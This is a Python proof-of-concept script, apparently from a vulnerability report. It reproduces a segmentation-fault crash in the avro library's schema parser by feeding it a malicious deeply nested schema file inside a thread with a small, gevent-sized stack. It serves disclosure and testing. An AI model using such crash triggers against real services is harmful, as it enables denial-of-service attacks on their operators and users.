reproduce.py

#!/usr/bin/env python3
"""
Reproduces the crash using the malicious_schema.avsc file in this repo.

    pip install avro
    python3 reproduce.py

Expected on an affected system: process terminates with SIGSEGV
(exit code 139), not a caught Python exception.
"""

import sys
import threading

GEVENT_TYPICAL_STACK_BYTES = 262144  # 256 KB — common gevent greenlet default


def main():
    with open("malicious_schema.avsc", "r") as f:
        schema_json = f.read()

    print(f"Payload size: {len(schema_json)} bytes")
    print(f"Thread stack size: {GEVENT_TYPICAL_STACK_BYTES} bytes (gevent-typical default)")
    print(f"sys.getrecursionlimit(): {sys.getrecursionlimit()} (untouched default)")
    print()

    import avro.schema
    parse_fn = getattr(avro.schema, "parse", None) or getattr(avro.schema, "Parse", None)

    def worker():
        print("[worker thread] calling avro.schema.parse() on malicious_schema.avsc...")
        parse_fn(schema_json)
        print("[worker thread] parse() returned without crashing "
              "(try a deeper schema for this environment)")

    threading.stack_size(GEVENT_TYPICAL_STACK_BYTES)
    t = threading.Thread(target=worker)
    t.start()
    t.join()

    print()
    print("If you see this line, the process survived. On an affected "
          "system, the process crashes with SIGSEGV before this point "
          "is ever reached.")


if __name__ == "__main__":
    main()